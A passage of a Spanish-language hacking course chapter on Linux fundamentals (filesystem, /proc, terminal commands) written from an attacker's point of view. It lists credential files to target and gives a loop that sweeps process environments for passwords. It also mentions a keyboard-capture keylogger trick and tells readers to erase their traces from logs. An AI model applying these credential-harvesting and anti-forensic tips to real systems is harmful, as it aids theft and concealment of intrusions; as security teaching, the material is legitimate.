> For the complete documentation index, see [llms.txt](https://0xnotkyo.gitbook.io/faq.hollowsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xnotkyo.gitbook.io/faq.hollowsec/hacking/dominio-de-linux.md).

# Dominio de Linux

<figure><img src="/files/uIlnay1phQCwSaqBshWo" alt="" width="563"><figcaption></figcaption></figure>

Si quieres dedicarte a la ciberseguridad, **DEBES** conocer Linux. Esto no es una opinión, es un hecho. Cada herramienta de pruebas de penetración, cada framework de exploits, cada herramienta de seguridad que vale la pena usar, funciona en Linux. Los hackers que usan únicamente Windows son como chefs que no saben usar cuchillos: técnicamente es posible - pero estás muy limitado.

Aquí va una dosis de realidad: al acceder a un servidor, hay un **96.3%** de probabilidades de que esté ejecutando Linux. Al navegar por una red, la mayoría de los dispositivos usan Linux. Al analizar malware, aplicar ingeniería inversa a binarios o crear exploits, lo haces en Linux. No se trata de qué sistema operativo es "mejor", sino de usar la herramienta adecuada para cada tarea.

Este capítulo te guiará desde cero hasta dominar Linux. Profundizaremos, no solo en cómo ejecutar comandos, sino en **POR QUÉ** las cosas funcionan como lo hacen. Al final, comprenderás el sistema lo suficiente como para aprovecharlo al máximo.

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## ¿Por qué este capítulo es importante?

Los números no mienten:

* <mark style="color:$info;">**El 96.3%**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">de los servidores web más importantes utilizan Linux</mark>
* <mark style="color:$info;">**El 100%**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">de los teléfonos Android ejecutan un kernel Linux</mark>
* <mark style="color:$info;">**Más del 90%**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">de la infraestructura de la nube es Linux</mark>
* <mark style="color:$info;">**La mayoría**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">de los dispositivos IoT, enrutadores y sistemas integrados ejecutan Linux</mark>
* <mark style="color:$info;">**Todas**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">las supercomputadoras principales ejecutan Linux</mark>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## ¿Qué aprenderás?

<table data-view="cards"><thead><tr><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>🐧Filosofía de Linux</h4></td><td align="center"><mark style="color:$info;">Por qué Linux funciona como lo hace. Entender el "por qué" simplifica el "cómo"</mark></td></tr><tr><td align="center"><h4>📁Sistema de Archivos</h4></td><td align="center"><mark style="color:$info;">Dónde vive todo, qué significa cada directorio y dónde encontrar lo importante</mark></td></tr><tr><td align="center"><h4>⌨️Comandos de Terminal</h4></td><td align="center"><mark style="color:$info;">Navegación, manipulación de archivos, procesamiento de texto: Los comandos que utilizarás a diario</mark> </td></tr><tr><td align="center"><h4>🔒Permisos en Profundidad</h4></td><td align="center"><mark style="color:$info;">El modelo de seguridad que protege (y es explotado en) cada sistema Linux</mark></td></tr><tr><td align="center"><h4>⚙️Gestión de Procesos</h4></td><td align="center"><mark style="color:$info;">Cómo se ejecutan los programas, cómo controlarlos, cómo ocultar tu presencia</mark></td></tr><tr><td align="center"><h4>📜Scripting en Bash </h4></td><td align="center"><mark style="color:$info;">Automatiza todo. Reconocimiento, explotación, post-explotación: Todo mediante scripts</mark></td></tr></tbody></table>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Por qué Linux es el Sistema Operativo de los Hackers

Antes de sumergirnos en comandos y técnicas, necesitas entender POR QUÉ Linux domina el mundo de la seguridad. No se trata de preferencias, se trata de capacidades. Una vez entiendas estas razones, nunca verás Windows de la misma manera.

<details>

<summary>🚗 La Metáfora del Coche (click aquí)</summary>

Windows es como un coche automático con el capó soldado:<br>

* <mark style="color:$info;">Fácil de conducir (apuntar, hacer clic, listo)</mark>
* <mark style="color:$info;">No puedes ver cómo funciona el motor</mark>
* <mark style="color:$info;">No puedes modificarlo o repararlo tú mismo</mark>
* <mark style="color:$info;">Limitado a lo que el fabricante permite</mark>
* <mark style="color:$info;">Cuando algo se rompe, estás indefenso</mark>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

Linux es como un coche de transmisión manual con el capó siempre abierto:<br>

* <mark style="color:$info;">Requiere más habilidad para operar</mark>
* <mark style="color:$info;">Puedes ver cada componente</mark>&#x20;
* <mark style="color:$info;">Modificar lo que quieras</mark>
* <mark style="color:$info;">Reconstruir el motor completo si es necesario</mark>
* <mark style="color:$info;">Control completo = comprensión completa</mark>

Los hackers necesitan entender los sistemas al nivel más profundo. No puedes hacerlo con un capó soldado. Necesitas ver el motor, tocar las peizas y saber exactamente cómo se conecta todo.

</details>

***

### Las Razones Técnicas por las que Linux Domina la Seguridad

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>1. Código Abierto = Transparencia Total</h4></td><td><p><mark style="color:$info;">Cada línea de código de Linux está disponible públicamente. Puedes leer:</mark><br></p><ul><li><mark style="color:$info;">Cómo el kernel programa procesos</mark></li><li><mark style="color:$info;">Cómo se comprueban los permisos</mark></li><li><mark style="color:$info;">Cómo se manejan los paquetes de red</mark></li><li><mark style="color:$info;">Cómo funcionan las llamadas al sistema</mark></li></ul><p><br><mark style="color:$info;">Windows es una caja negra: estás adivinando cómo funcionan las cosas. Con Linux, SABES porque puedes leer el código fuente</mark></p></td></tr><tr><td align="center"><h4>2. Control Completo</h4></td><td><p><mark style="color:$info;">Linux te permite controlar absolutamente TODO:</mark><br></p><ul><li><mark style="color:$info;">Cada proceso en ejecución</mark></li><li><mark style="color:$info;">Cada paquete de red</mark></li><li><mark style="color:$info;">Cada llamada al sistema</mark></li><li><mark style="color:$info;">Cada pieza de hardware</mark></li></ul><p><br><mark style="color:$info;">Sin ventanas emergentes de "Se requieren privilegios de administrador". Sin restricciones artificiales. Como root, TÚ ERES el sistema</mark></p></td></tr><tr><td align="center"><h4>3. Todas las Herramientas de Seguridad se Encuentran Aquí</h4></td><td><p><mark style="color:$info;">Cada herramienta importante de hacking se construye para Linux primero:</mark><br></p><ul><li><mark style="color:$info;">Nmap, Metasploit, Burp Suite</mark></li><li><mark style="color:$info;">Wireshark, John the Ripper</mark></li><li><mark style="color:$info;">Hydra, SQLmap, Aircrack-ng</mark></li><li><mark style="color:$info;">Hashcat, Gobuster, ffuf</mark></li></ul><p><br><mark style="color:$info;">Muchas herramientas ni siquiera funcionan correctamente en Windows. La comunidad de seguridad vive en Linux</mark></p></td></tr><tr><td align="center"><h4>4. Dominio del Servidor</h4></td><td><p><mark style="color:$info;">Cuando atacas infraestructura, estás atacando Linux:</mark><br></p><ul><li><mark style="color:$info;">96,3% de los servidores web principales</mark></li><li><mark style="color:$info;">La mayoria de las instancias en la nube (AWS, GCP, Azure)</mark></li><li><mark style="color:$info;">Bases de datos empresariales</mark></li><li><mark style="color:$info;">Plataformas de contenedores (Docker, k8s)</mark></li></ul><p><br><mark style="color:$info;">Conoce tu objetivo. Tus objetivos ejecutan Linux</mark></p></td></tr></tbody></table>

***

### Las Distribuciones de Linux (Distros)

Linux no es solo un sistema operativo, es un kernel sobre el cual se construyen muchas distribuciones. Cada distro empaqueta el kernel con diferente software y configuraciones.

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th></th></tr></thead><tbody><tr><td align="center"><h4>🐲 <strong>Kali Linux</strong></h4></td><td><mark style="color:$info;"><strong>Propósito:</strong> Pruebas de penetración</mark><br><br><mark style="color:$info;">Precargado con más de 600 herramientas de hacking. La distro más popular para profesionales de seguridad. Basada en Debian</mark><br><br><mark style="color:$info;"><strong>Úsala cuando:</strong> Quieras una distro de hacking  y quieras todo listo desde el primer momento</mark></td></tr><tr><td align="center"><h4>🦜 <strong>Parrot OS</strong></h4></td><td><mark style="color:$info;"><strong>Propósito:</strong> Seguridad + privacidad + desarrollo</mark><br><br><mark style="color:$info;">Similar a Kali pero más ligero y con herramientas adicionales de privacidad. Basada en Debian</mark><br><br><mark style="color:$info;"><strong>Úsala cuando:</strong> Quieras una distro de hacking, pero mantenla separada de tu sistema principal</mark></td></tr></tbody></table>

{% hint style="info" %}

## &#x20;Dual Boot vs Máquina Vritual vs WSL

<mark style="color:$info;">**Dual boot:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Instalar Linux junto a Windows. Mejor rendimiento, experiencia más "real". Requiere reiniciar para cambiar de sistema</mark>\
\ <mark style="color:$info;">**Máquina virtual:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Ejecutar Linux dentro de Windows usando VirtualBox o VMware. Bueno para aprender, puedes ejecutar ambos simultáneamente</mark>

<mark style="color:$info;">**WSL (Windows Subsystem for Linux):**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Terminal de Linux dentro de Windows. Rápido y fácil, pero limitado para algunas herramientas de seguridad</mark>\
\
✅ <mark style="color:$success;">**Recomendación:**</mark>**&#x20;**<mark style="color:$info;">**Empieza con VMs por seguridad y comodidad.**</mark>&#x20;
{% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## La Filosofía de Linux

Linux se construyó sobre principios de diseño específicos heredados de Unix que son radicalmente diferentes de Windows. Entender estos principios es clave para dominar el sistema y para comprender de dónde vienen las vulnerabilidades.

### Todo es un Archivo

En Linux, **TODO** se representa como un archivo. Esto suena extraño, pero es increíblemente poderoso. Archivos regulares, directorios, dispositivos hardware, procesos en ejecución, conexiones de red - todos se acceden a través del sistema de archivos.

```bash
# Archivos regulares 
/home/user/document.txt
/etc/passwd

# Directorios - archivos especiales que contienen otros archivos
/home/user/
/etc/

# Dispositivos hardware - ¡SÍ, son archivos!
/dev/sda          # Tu disco duro (disco completo)
/dev/sda1         # Primera partición
/dev/sda2         # Segunda partición
/dev/nvme0n1      # SSD NVMe
/dev/usb/001      # Dispositivo USB
/dev/null         # El "agujero negro" - descarta todos los datos
/dev/zero         # Fuente infinita de bytes nulos
/dev/random       # Datos aleatorios (criptográficamente seguro)
/dev/urandom      # Datos aleatorios (más rápido, menos seguro)

# Procesos - ¡información sobre programas en ejecución!
/proc/            # Sistema de archivos virtual para info de procesos
/proc/1234/       # Todo sobre el proceso 1234
/proc/1234/cmdline    # Comando que inició el proceso
/proc/1234/environ    # Variables de entorno
/proc/1234/fd/        # Descriptores de archivo abiertos
/proc/cpuinfo     # Información de CPU
/proc/meminfo     # Información de memoria
/proc/version     # Versión del kernel

# Información del sistema
/sys/             # Info del kernel y hardware
/sys/class/net/   # Info de interfaces de red
/sys/block/       # Info de dispositivos de bloques

# Conexiones de red (en algunos sistemas)
/dev/tcp/host/port    # Conexión TCP a host:puerto
```

#### Por qué "Todo es un Archivo" Importa en Ciberseguridad

Como todo es un archivo, podemos usar las mismas herramientas en todo:

* <mark style="color:$info;">`cat /dev/sda`</mark> <mark style="color:$info;"></mark><mark style="color:$info;">→ Leer datos crudos del disco duro</mark>
* <mark style="color:$info;">`cat /proc/1234/maps`</mark> <mark style="color:$info;"></mark><mark style="color:$info;">→ Ver el diseño de memoria del proceso</mark>
* <mark style="color:$info;">`echo "data" > /dev/ttyUSB0`</mark> <mark style="color:$info;"></mark><mark style="color:$info;">→ Enviar datos a dispositivo serial</mark>
* <mark style="color:$info;">`cat dev/input/event0`</mark> <mark style="color:$info;"></mark><mark style="color:$info;">→ Capturar entrada de teclado (Keylogger)</mark>
* <mark style="color:$info;">`cat /proc/1234/fd/0`</mark> <mark style="color:$info;"></mark><mark style="color:$info;">→ Leer desde el stdin de otro proceso</mark>

Esta uniformidad hace que Linux sea increíblemente poderoso y explotable.

***

### Haz una Cosa Bien

Los programas Unix están diseñados para hacer **UNA** cosa perfectamente, y luego combinarse con otros programas. Esto es completamente opuesto a las aplicaciones Windows que intentan hacerlo todo ellas mismas.

```bash
# Enfoque Windows: Un programa gigante que hace todo
# Ejemplo: Un "analizador de logs" que lee archivos, parsea datos,
#          filtra contenido, genera reportes, envía emails...

# Enfoque Linux: Herramientas pequeñas que se encadenan
# Cada herramienta hace UNA cosa perfectamente

# Encontrar todos los archivos .log, buscar "error", ordenarlos, contar líneas únicas
find /var/log -name "*.log" | xargs grep "error" | sort | uniq -c

# Cada herramienta hace UNA cosa:
# find    → localiza archivos (eso es TODO lo que hace)
# xargs   → pasa resultados como argumentos al siguiente comando
# grep    → busca patrones de texto
# sort    → ordena líneas alfabéticamente
# uniq -c → elimina duplicados y los cuenta

# Este pipeline es MÁS poderoso que cualquier programa individual
# Y cada herramienta puede ser reemplazada, modificada o extendida independientemente
```

<details>

<summary>🔧 La Analogía de las Herramientas (click aquí)</summary>

<mark style="color:$info;">**Windows**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">es como una multiherramienta todo-en-uno que más o menos hace todo pero no hace nada perfectamente</mark>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

<mark style="color:$info;">**Linux**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">es como un taller profesional como una herramienta dedicada para cada trabajo: cada una diseñada por un experto para ese propósito específico. Un verdadero artesano usa la herramienta correcta para cada trabajo y las combina hábilmente</mark>

</details>

***

### El Texto es la Interfaz Universal

En Linux, los programas se comunican a través de texto plano. Esto hace que sea trivialmente fácil encadenar programas, inspeccionar qué está sucediendo y manipular datos.

```bash
# Los archivos de configuración son texto (no registro binario)
cat /etc/ssh/sshd_config # Legible por humanos, editable con cualquier editor de texto

# La salida de programas es texto
ps aux # Solo texto - fácil de grep, sort, cut, awk

# Los archivos de log son texto
cat /var/log/auth.log # Fácil de buscar, analizar, automatizar con scripts

# Contrasta con Windows:
# - El registro es binario (necesitas herramientas especiales)
# - Los logs de eventos son binarios (necesitas Event Viewer)
# - Muchas configuraciones están ocultas en ubicaciones oscuras
```

***

### Éxito Silencioso, Fallo Ruidoso

Los programas Linux siguen la convención: si todo funciona, no digas nada. Solo habla cuando hay un problema.

```bash
# Copiar un archivo
$ cp file1.txt file2.txt
$ # Sin salida = éxito

# Si hay un error, lo sabrás:
$ cp nonexistent.txt file2.txt
cp: cannot stat 'nonexistent.txt': No such file or directory

# Esto es intencional
# El éxito silencioso significa que puedes encadenar comandos con confianza
# Si algo falla, el mensaje de error te dice qué salió mal

# Verificar si el comando tuvo éxito con $?
$ cp file1.txt file2.txt
$ echo $?
0           # 0 = éxito

$ cp nonexistent.txt file2.txt
$ echo $?
1           # Distinto de cero = fallo
```

***

### Uusarios y permisos

Cada archivo, cada proceso, cada recurso tiene un propietario y un grupo. El sistema de permisos es la base de la seguridad en Linux.

```bash
# Cada archivo tiene:
# - Un propietario (un usuario)
# - Un grupo
# - Permisos para propietario, grupo y otros

$ ls -la /etc/passwd
-rw-r--r-- 1 root root 2834 Dec 14 10:00 /etc/passwd
#           │ │    │
#           │ │    └── Grupo (root)
#           │ └────── Propietario (root)
#           └────────  Contador de enlaces

# Cada proceso se ejecuta como un usuario:
$ ps aux
USER       PID  ...  COMMAND
root         1       /sbin/init
www-data   842       /usr/sbin/apache2
mysql     1234       /usr/sbin/mysqld

# Los procesos solo pueden acceder a lo que su usuario puede acceder
# Esto es fundamental para la separación de privilegios
```

#### La implicación de Seguridad

Este modelo de usuario/permisos significa que:

* <mark style="color:$info;">Comprometer un servidor web como "www-data" no te da acceso root</mark>
* <mark style="color:$info;">Se necesita escalada de privilegios para obtener más acceso</mark>
* <mark style="color:$info;">Permisos mal configurados = vulnerabilidades de seguridad</mark>
* <mark style="color:$info;">Los binarios SUID se ejecutan como el propietario del archivo (objetivo de explotación)</mark>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## El Sistema de Archivos de Linux

A diferencia de **Windows** con sus unidades **C:\\, D:\\, E:\\**, **Linux** tiene **UN** solo sistema de archivos unificado que comienza desde la raíz (**/**). Cada archivo en el sistema, independientemente de en qué disco físico esté, existe en algún lugar bajo esta única raíz. Este diseño elegante hace que la navegación sea consistente y predecible.

<details>

<summary>🌳 La Metáfora del Árbol (click aquí)</summary>

Piensa en el sistema de archivos de Linux como un árbol al revés:<br>

* <mark style="color:$info;">/ (raíz) es el tronco - todo crece desde aquí</mark>
* <mark style="color:$info;">Directorios son ramas que se separan del tronco</mark>
* <mark style="color:$info;">Archivos son las hojas al final de las ramas</mark>

A diferencia de Windows donde cada unidad es un árbol separado (C:\\, D:\\), Linux es UN solo árbol. Las unidades USB, recursos compartidos de red e incluso DVDs se "injertan" en el árbol en puntos de montaje. Puedes conectar un USB y aparece en /media/usb - se convierte en parte del mismo árbol.

</details>

```bash
# Sistema de archivos Windows:
C:\
├── Program Files
├── Users
└── Windows

D:\
├── Games
└── Documents

# Sistema de archivos Linux (UN árbol):
/                          ← Raíz (todo comienza aquí)
├── home/                  ← Directorios home de usuarios
│   ├── alice/
│   └── bob/
├── etc/                   ← Configuración del sistema
├── var/                   ← Datos variables (logs, bases de datos)
├── usr/                   ← Programas y datos de usuario
├── tmp/                   ← Archivos temporales
├── dev/                   ← Archivos de dispositivos
├── proc/                  ← Información de procesos
├── media/                 ← Medios removibles montados
│   └── usb/               ← Tu USB aparece AQUÍ
└── mnt/                   ← Puntos de montaje temporales
```

***

### Directorios Críticos que DEBES conocer

| Directorio                                              | Propósito                                                                          | Interés para Ciberseguridad                                                                                          |
| ------------------------------------------------------- | ---------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------------------------------------- |
| <mark style="color:$info;">`/`</mark>                   | <mark style="color:$info;">Raíz - la cima del árbol del sistema de archivos</mark> | <mark style="color:$info;">Objetivo final de escalada de privilegios. Llegar aquí significa poseer el sistema</mark> |
| <mark style="color:$info;">`/etc`</mark>                | <mark style="color:$info;">Configuración del sistema</mark>                        | <mark style="color:$info;">MINA DE ORO. Contraseñas, configuración de red, servicios, cron jobs</mark>               |
| <mark style="color:$info;">`/home`</mark>               | <mark style="color:$info;">Directorios home de usuarios</mark>                     | <mark style="color:$info;">Claves SSH, historial de bash, archivos personales, credenciales guardadas</mark>         |
| <mark style="color:$info;">`/root`</mark>               | <mark style="color:$info;">Directorio home del usuario root</mark>                 | <mark style="color:$info;">Datos más sensibles. Claves SSH de root, historial, notas</mark>                          |
| <mark style="color:$info;">`/var`</mark>                | <mark style="color:$info;">Datos variables (logs, bases de datos, correo)</mark>   | <mark style="color:$info;">Los logs revelan ataques. Document roots de web suelen estar aquí</mark>                  |
| <mark style="color:$info;">`/var/log`</mark>            | <mark style="color:$info;">Logs del sistema y aplicaciones</mark>                  | <mark style="color:$info;">Rastrea actividades o encuentra evidencia. ¡Borra tus rastros!</mark>                     |
| <mark style="color:$info;">`/var/www`</mark>            | <mark style="color:$info;">Document root del servidor web</mark>                   | <mark style="color:$info;">Código de aplicaciones web. Busca configs con credenciales en BD</mark>                   |
| <mark style="color:$info;">`/tmp`</mark>                | <mark style="color:$info;">Archivos temporales (se borran al reiniciar)</mark>     | <mark style="color:$info;">Escribible por todos. Suelta exploits, compila código, pivota</mark>                      |
| <mark style="color:$info;">`/dev/shm`</mark>            | <mark style="color:$info;">Memoria compartida (basada en RAM)</mark>               | <mark style="color:$info;">Escribible por todos, en RAM, buena para preparar ataques</mark>                          |
| <mark style="color:$info;">`/bin, /sbin`</mark>         | <mark style="color:$info;">Binarios esenciales del sistema</mark>                  | <mark style="color:$info;">Comandos del sistema. Raramente escribibles. Objetivo para backdoors</mark>               |
| <mark style="color:$info;">`/usr/bin, /usr/sbin`</mark> | <mark style="color:$info;">Programas de usuario y sistema</mark>                   | <mark style="color:$info;">La mayoría de programas instalados viven aquí</mark>                                      |
| <mark style="color:$info;">`/proc`</mark>               | <mark style="color:$info;">Información de procesos y kernel (virtual)</mark>       | <mark style="color:$info;">CRUCIAL. Procesos en ejecución, mapas de memoria, parámetros del kernel</mark>            |
| <mark style="color:$info;">`/sys`</mark>                | <mark style="color:$info;">Información de sistema y hardware (virtual)</mark>      | <mark style="color:$info;">Detalles de hardware, información de drivers</mark>                                       |
| <mark style="color:$info;">`/dev`</mark>                | <mark style="color:$info;">Archivos de dispositivos</mark>                         | <mark style="color:$info;">Acceso directo a hardware. /dev/null, dev/random útiles</mark>                            |
| <mark style="color:$info;">`/opt`</mark>                | <mark style="color:$info;">Software opcional/de terceros</mark>                    | <mark style="color:$info;">Aplicaciones personalizadas suelen instalarse aquí</mark>                                 |
| <mark style="color:$info;">`/boot`</mark>               | <mark style="color:$info;">Cargador de arranque y kernel</mark>                    | <mark style="color:$info;">Archivos del kernel. Territorio de rootkit</mark>                                         |

***

### Archivos Críticos que son Objetivos para Ciberseguridad

Estos archivos contienen la información más valiosa para atacantes:

```bash
# ==================== AUTENTICACIÓN Y USUARIOS ====================

/etc/passwd       # Cuentas de usuario (¡legible por todos!)
# Formato: username:x:UID:GID:comment:home:shell
# root:x:0:0:root:/root:/bin/bash
# www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

/etc/shadow       # Hashes de contraseñas (solo root - ¡OBJETIVO PRINCIPAL!)
# Formato: username:hash:last_change:min:max:warn:inactive:expire
# ¡Si puedes leer esto, puedes crackear contraseñas!

/etc/group        # Pertenencias a grupos
# Muestra quién pertenece a sudo, docker, etc.

/etc/sudoers      # Quién puede usar sudo y cómo
# Malas configuraciones aquí = escalada de privilegios

/etc/sudoers.d/   # Reglas sudo adicionales
# ¡Revisa CADA archivo aquí!


# ==================== CONFIGURACIÓN DE RED ====================

/etc/hosts        # Sobrescrituras DNS locales (útil para DNS spoofing)
/etc/resolv.conf  # Servidores DNS que usa el sistema
/etc/hostname     # Nombre del host del sistema
/etc/network/interfaces  # Config de interfaces de red (Debian)
/etc/netplan/*.yaml      # Config de red (Ubuntu 18+)
/etc/sysconfig/network-scripts/  # Config de red (RHEL/CentOS)


# ==================== SERVICIOS Y APLICACIONES ====================

/etc/ssh/sshd_config     # Configuración del servidor SSH
# Revisa: PermitRootLogin, PasswordAuthentication

/etc/ssh/ssh_config      # Configuración del cliente SSH

/etc/apache2/            # Config del servidor web Apache
/etc/nginx/              # Config del servidor web Nginx
/etc/mysql/my.cnf        # Configuración de MySQL
/etc/postgresql/         # Configuración de PostgreSQL

/etc/crontab             # Tareas programadas (¡revisa scripts escribibles!)
/etc/cron.d/             # Trabajos cron adicionales
/etc/cron.daily/         # Scripts cron diarios
/var/spool/cron/crontabs/  # Crontabs de usuarios


# ==================== LOGS (TU RASTRO) ====================

/var/log/auth.log        # Intentos de autenticación (logins, sudo, SSH)
/var/log/secure          # Lo mismo en RHEL/CentOS
/var/log/syslog          # Mensajes generales del sistema
/var/log/messages        # Lo mismo en RHEL/CentOS
/var/log/apache2/        # Logs de acceso/error del servidor web
/var/log/nginx/          # Logs de Nginx
/var/log/mysql/          # Logs de base de datos


# ==================== TESOROS ESPECÍFICOS DE USUARIO ====================

~/.ssh/                  # Directorio SSH
~/.ssh/id_rsa            # Clave SSH privada (¡PREMIO GORDO!)
~/.ssh/authorized_keys   # Quién puede iniciar sesión como este usuario
~/.ssh/known_hosts       # Servidores a los que este usuario se conecta

~/.bash_history          # Historial de comandos (¿contraseñas en texto plano?)
~/.mysql_history         # Historial de comandos MySQL
~/.psql_history          # Historial de PostgreSQL

~/.bashrc, ~/.profile    # Configuración del shell
~/.gnupg/                # Claves GPG
~/.aws/credentials       # Claves de acceso AWS (¡$$!)
~/.config/               # Configuraciones de aplicaciones
```

***

### El Sistema de Archivos Virtual /proc&#x20;

```bash
# /proc no existe en el disco - es generado por el kernel en tiempo real
# Contiene información sobre CADA proceso en ejecución y el sistema

# Información del sistema:
/proc/version          # Versión del kernel
/proc/cpuinfo          # Detalles de la CPU
/proc/meminfo          # Uso de memoria
/proc/cmdline          # Parámetros de arranque
/proc/mounts           # Sistemas de archivos montados actualmente
/proc/net/tcp          # Conexiones TCP activas
/proc/net/udp          # Conexiones UDP activas

# Información por proceso (reemplaza 1234 con cualquier PID):
/proc/1234/cmdline     # Comando que inició el proceso
/proc/1234/environ     # Variables de entorno (¡pueden contener secretos!)
/proc/1234/exe         # Enlace simbólico al ejecutable real
/proc/1234/cwd         # Directorio de trabajo actual
/proc/1234/fd/         # Descriptores de archivo abiertos
/proc/1234/maps        # Mapa de memoria (¡útil para explotación!)
/proc/1234/status      # Estado del proceso (UID, GID, memoria)

# Comandos útiles:
cat /proc/1234/cmdline | tr '\0' ' '  # Ver comando con argumentos
ls -la /proc/1234/fd/                  # Ver todos los archivos abiertos
cat /proc/1234/environ | tr '\0' '\n' # Ver variables de entorno
```

{% hint style="success" icon="square-check" %}

## &#x20;Pro Tip: Encuentra Información Sensible en /proc&#x20;

```bash
# Buscar en todos los procesos variables de entorno que contengan "pass"
for pid in /proc/[0-9]*; do
    cat $pid/environ 2>/dev/null | tr '\0' '\n' | grep -i pass && echo "PID: $pid"
done

# ¡Esto podría revelar contraseñas de bases de datos, claves API, etc!
```

{% endhint %}

***

## Dominio de la Terminal

La terminal es donde viven los hackers. Las GUIs son para usuarios - la línea de comandos es para quienes quieren poder real. No hay nada que puedas hacer en una GUI que no puedas hacer más rápido en la terminal, y miles de cosas que puedes hacer en la terminal que son imposibles en una GUI.&#x20;

{% hint style="info" icon="computer" %}

## &#x20;**Por qué Terminal > GUI**

Una GUI es como un menú en un restaurante: solo puedes pedir lo que está en la lista. Una terminal es como tener acceso a la cocina: puedes hacer **LO QUE SEA**, combinar ingredientes como quieras y crear cosas que el diseñador del menú nunca imaginó.<br>

* <mark style="color:$info;">**Velocidad:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Un comando hace lo que tomaría 10 clics</mark>
* <mark style="color:$info;">**Precisión:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Control exacto sobre cada operación</mark>
* <mark style="color:$info;">**Automatización:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Los scripts pueden ejecutar comandos por ti</mark>
* <mark style="color:$info;">**Acceso remoto:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Funciona sobre SSH cuando no hay GUI</mark>
* <mark style="color:$info;">**Poder:**</mark> <mark style="color:$info;"></mark><mark style="color:$info;">Muchas operaciones solo existen en la terminal</mark>
  {% endhint %}

***

### Comandos Básicos de Navegación

```bash
# ==================== ¿DÓNDE ESTOY? ====================

pwd                        # Print Working Directory (Imprimir Directorio de Trabajo)
# Salida: /home/hacker
# ¡Siempre conoce tu ubicación!

# ==================== ¿QUÉ HAY AQUÍ? ====================

ls                         # Listar archivos (básico)
ls -l                      # Formato largo (permisos, propietario, tamaño, fecha)
ls -a                      # Mostrar archivos ocultos (que empiezan con .)
ls -la                     # Combinar: todos los archivos, formato largo
ls -lah                    # Lo mismo pero tamaños legibles (K, M, G)
ls -lt                     # Ordenar por tiempo de modificación
ls -ltr                    # Ordenar por tiempo, invertido (más antiguo primero)
ls -R                      # Recursivo (mostrar subdirectorios)

# Ejemplo de salida de ls -la:
# drwxr-xr-x 2 hacker hacker 4096 Dec 14 10:00 documents/
# -rw-r--r-- 1 hacker hacker  182 Dec 14 09:30 notes.txt
# -rwx------ 1 hacker hacker  512 Dec 14 08:00 secret_script.sh

# ==================== MOVERSE ====================

cd /etc                    # Ir a ruta absoluta
cd documents               # Ir a ruta relativa (dentro del directorio actual)
cd ..                      # Subir un nivel (directorio padre)
cd ../..                   # Subir dos niveles
cd ~                       # Ir a tu directorio home (/home/username)
cd                         # Lo mismo que cd ~
cd -                       # Volver al directorio anterior (alternar)

# Consejo Pro: ¡Usa Tab para autocompletar!
# cd /etc/apa[Tab] → cd /etc/apache2/

# ==================== VER CONTENIDO DE ARCHIVOS ====================

cat file.txt               # Imprimir archivo completo de una vez
cat file1.txt file2.txt    # Concatenar múltiples archivos
cat -n file.txt            # Mostrar números de línea

head file.txt              # Primeras 10 líneas
head -20 file.txt          # Primeras 20 líneas
head -n 5 file.txt         # Primeras 5 líneas

tail file.txt              # Últimas 10 líneas
tail -20 file.txt          # Últimas 20 líneas
tail -f /var/log/auth.log  # Seguir archivo en tiempo real (¡MUY útil para logs!)

less file.txt              # Vista con scroll
# Navegación en less:
# Espacio = página abajo, b = página arriba
# / = buscar hacia adelante, ? = buscar hacia atrás
# n = siguiente coincidencia, N = coincidencia anterior
# g = ir al inicio, G = ir al final
# q = salir

more file.txt              # Paginador más simple (¡less es más!)

# ==================== INFORMACIÓN DE ARCHIVOS ====================

file document.pdf          # Determinar tipo de archivo
stat file.txt              # Información detallada del archivo
wc file.txt                # Conteo de palabras, líneas, caracteres
wc -l file.txt             # Solo conteo de líneas
```

***

### Manipulación de Archivos - Crear, Copiar, Mover, Eliminar

```bash
# ==================== CREAR ====================

touch newfile.txt              # Crear archivo vacío (o actualizar timestamp)
touch file1.txt file2.txt      # Crear múltiples archivos

mkdir newfolder                # Crear directorio
mkdir -p a/b/c/d               # Crear directorios anidados (padres también)
mkdir -p project/{src,docs,tests}  # Crear múltiples subdirectorios

# Crear archivo con contenido:
echo "Hello World" > file.txt  # Escribir en archivo (¡sobrescribe!)
echo "More text" >> file.txt   # Añadir al archivo

cat > file.txt << EOF          # Entrada multilínea (heredoc)
Line 1
Line 2
Line 3
EOF

# ==================== COPIAR ====================

cp file.txt backup.txt         # Copiar archivo
cp file.txt /tmp/              # Copiar a directorio
cp -r folder/ backup/          # Copiar directorio recursivamente (¡-r es esencial!)
cp -a folder/ backup/          # Modo archivo (preserva permisos, timestamps)
cp -i file.txt backup.txt      # Interactivo (preguntar antes de sobrescribir)
cp -v file.txt backup.txt      # Detallado (mostrar qué está pasando)

# ==================== MOVER / RENOMBRAR ====================

mv old.txt new.txt             # Renombrar archivo
